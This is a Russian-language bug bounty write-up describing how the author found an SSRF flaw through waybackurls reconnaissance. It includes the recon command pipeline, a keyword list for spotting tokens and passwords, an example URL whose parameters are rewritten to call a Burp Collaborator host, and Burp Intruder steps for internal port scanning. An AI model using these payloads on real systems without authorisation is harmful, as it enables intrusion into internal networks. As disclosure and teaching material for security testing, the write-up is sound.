Как найти SSRF с помощью waybackurls
Этичный ХакерСегодня я расскажу про свой недавний отчет, который состоит из подделки запросов на сервере (SSRF) для внутреннего сканирования портов.
Что такое SSRF?
Подделка запросов на стороне сервера (также известная как SSRF) - это уязвимость веб-безопасности, которая позволяет злоумышленнику побудить серверное приложение делать HTTP-запросы к произвольному домену по выбору злоумышленника. В типичных примерах SSRF злоумышленник может заставить сервер установить обратное соединение с самим собой, или с другими веб-службами в инфраструктуре организации, или с внешними сторонними системами. Атаки SSRF часто используют доверительные отношения для эскалации атаки из уязвимого приложения и выполнения несанкционированных действий. Эти доверительные отношения могут существовать по отношению к самому серверу или по отношению к другим внутренним системам в той же организации. Чтобы узнать больше, вы можете обратиться в Академию веб-безопасности PortSwigger.
Что такое WaybackURLs (Wayback Machine)?
Веб-краулинг является важным аспектом в тестировании безопасности, так как это процесс индексации данных на веб-страницах с помощью автоматизированных скриптов или программ. Waybackurls является скриптом или инструментом на основе Golang, используемым для сканирования доменов и получения известных URL-адресов из Wayback Machines, также известного как Archives для *.target.com. Чтобы узнать больше о waybackurls и процессе установки, вы можете обратиться по ссылке.
Давайте начнем с нашей главной темы, а именно с того, как я нашел SSRF с помощью разведки.
Я нашел программу Bug Bounty через Google Dorks. Из-за их политики раскрытия информации я не могу назвать наименование этой организации. Поэтому, назовем домен target.com.
Во-первых, я собрал поддомены с помощью инструмента subfinder и сохранил вывод в domains.txt. После этого я запустил инструмент httpprobe на domains.txt, чтобы получить живые домены, и сохранил выходные данные в live_domains.txt.
subfinder -d target.com > domains.txtcat domains.txt | httprobe > live_domains.txt
Теперь я запускаю следующую команду для сбора URL-адресов через waybackurls.
cat live_domains.txt | waybackurls > urls.txt
После того, как я собрал все URL-адреса в urls.txt, я запустил инструмент httpx для идентификации статуса, заголовка, технологии и т. д. и сохранил вывод в status.txt.
cat urls.txt | httpx — status-code-title > status.txt
Теперь я отсортировал все URL-адреса, которые являются живыми и доступны, и удалил все неработающие URL-адреса. Это делает мою разведку проще.
Я открыл status.txt и начал искать конфиденциальную информацию, параметры, имена пользователей, пароли, токены, конфиденциальные файлы и т. д.
Используемые мной ключевые слова: password, username, mail.com, token, access_token, url=, redirect_url=, api, id=, accessUrl=, payment, и тд.
После 30 минут сканирования и сортировки я заметил один интересный URL-адрес:
https://subdomain.target.com/webinar/?roomId=1ec1f5d8-0887-4fbb-a3dc-1b9f94bc04dc&displayName=mack&accessToken=sda3-q23aed-aerae&peerId=123123-321as-waaew-ads&apiEvent=https://example.com/api/meet&accessUrl=https://example.com/api/accessCheck/&itisparticipant=true&nameScreenDisabled=true&startWithFS=true&controlsDisabled=true
Мое внимание было обращено на параметры "apiEvent" и "accessUrl"
Я заменил URL-адреса параметров на адрес своего Burp Collaborator.
После замены адрес выглядит следующим образом:
https://subdomain.target.com/webinar/?roomId=1ec1f5d8-0887-4fbb-a3dc-1b9f94bc04dc&displayName=Tom&accessToken=sda3-q23aed-aerae&peerId=123123-321as-waaew-ads&apiEvent=https://rni1e5x29hzirz847fkvnolaf1lr9g.burpcollaborator.net/api/meet&accessUrl=https://rni1e5x29hzirz847fkvnolaf1lr9g.burpcollaborator.net/api/accessCheck/&itisparticipant=true&nameScreenDisabled=true&startWithFS=true&controlsDisabled=true
Я открыл этот URL-адрес в браузере и получил DNS и HTTP запросы к своему серверу с их внутреннего IP-адреса.
Теперь я выполнил whois, чтобы убедиться, что этот IP-адрес принадлежит их организации или третьей стороне.
whois ip
Я получил подтверждение того, что IP-адрес, который я получил, является внутренним IP-адресом организации.
Теперь, чтобы увеличить воздействие, я открыл BurpSuite и:
1. Перехватил тот же запрос в Burpsuite
2. Отправил его в Intruder
3. Выбрал тип атаки Pitchfork
4. Выставил положение полезной нагрузки в конце 2 URL адресов
5. Установил цикл на 100
6. Начинаем атаку
7. Я получил HTTP, DNS и SMTP запросы
Теперь я получил DNS и HTTP-запросы, а также SMTP-запрос на моем сервере Burp Collab, подтверждающий, что я смог выполнить внутреннее сканирование портов с использованием уязвимости SSRF.